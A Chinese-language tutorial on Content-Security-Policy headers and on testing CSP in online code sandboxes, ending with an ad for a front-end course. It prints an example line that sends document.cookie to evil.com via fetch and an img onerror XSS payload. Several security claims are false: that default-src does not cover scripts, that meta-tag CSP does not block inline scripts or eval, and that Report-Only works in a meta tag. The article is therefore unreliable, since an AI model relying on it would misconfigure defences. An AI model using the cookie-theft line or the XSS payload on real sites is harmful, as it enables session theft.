必须用http响应头设置csp才有效,meta标签在在线环境基本无效;script-src需显式声明而非依赖default-src;验证需用report-only模式或真实服务部署。

直接用 Content-Security-Policy 响应头才有效,<meta> 在在线环境里基本没用
HTML 在线运行环境(比如 JSBin、CodePen、JSFiddle、StackBlitz)几乎都不支持自定义 HTTP 响应头。你写 <meta http-equiv="Content-Security-Policy" content="..."> 看似能生效,但实际限制极弱:它不拦截内联脚本、不阻止 eval()、不覆盖 iframe 或 worker 的策略,且无法控制 base-uri、form-action 等关键指令。浏览器对 <meta> 版 CSP 的实现本就残缺,尤其在跨域上下文中形同虚设。
script-src 不写 'self' 或明确域名,根本拦不住跨域脚本
很多人复制粘贴 default-src 'self' 就以为万事大吉,但 default-src 并不自动继承给 script-src —— 浏览器会 fallback 到宽松默认值(即允许任意脚本)。结果就是:<script src="https://evil.com/xss.js"></script> 依然能加载执行。
- 必须显式声明
script-src 'self' https://trusted.cdn.com,其他未列域名一律拒绝 - 如果页面本身托管在
https://example.com,但你允许了http://insecure.net,那跨域脚本照样进来 - 注意协议、端口、子域都算不同源:
https://api.example.com≠https://example.com
在线环境里唯一可行的测试方式:用 report-only 模式看日志,别指望真拦截
既然改不了响应头,就退一步:用 Content-Security-Policy-Report-Only + report-uri(或 report-to)观察哪些脚本被拦——虽然不阻断,但控制台会报 Refused to load the script,你能确认策略逻辑是否写对。
- 在
<meta>中写:<meta http-equiv="Content-Security-Policy-Report-Only" content="script-src 'self'; report-uri /csp-log"> - 打开开发者工具 → Console 或 Network 标签页,搜
CSP或report,看有没有违规上报 - 注意:在线环境通常不提供
/csp-log接口,所以报告会 404,但控制台仍会显示拦截意图 - 真正验证拦截效果,必须部署到支持自定义响应头的真实服务(如 Vercel、Cloudflare Pages、Nginx)
容易被忽略的致命细节:跨域脚本可能绕过 CSP 的三种方式
即使你写了看似严格的 script-src 'self',攻击者仍可能借道其他指令把恶意代码带进来:
-
img-src漏了data:?攻击者可用<img src="data:image/gif;base64,R0lGODdhAQABAPAAAP8AAAAAACwAAAAAAQABAAACAkQBADs=" onerror="alert(1)">触发 XSS -
connect-src过宽?恶意脚本可通过fetch('https://evil.com/steal?cookie='+document.cookie)外传数据,CSP 不管执行,只管“连哪儿” -
frame-ancestors没设?你的页面可能被嵌进钓鱼站点的 iframe 里,配合 UI 伪造完成点击劫持
在线环境里看不到这些链路的完整拦截,但真实部署时,每一条都得单独收紧——CSP 不是配一次就完事的策略,而是要按资源类型逐条审计。
前端入门到VUE实战笔记:立即使用
在学习笔记中,你将探索 前端 的入门与实战技巧!











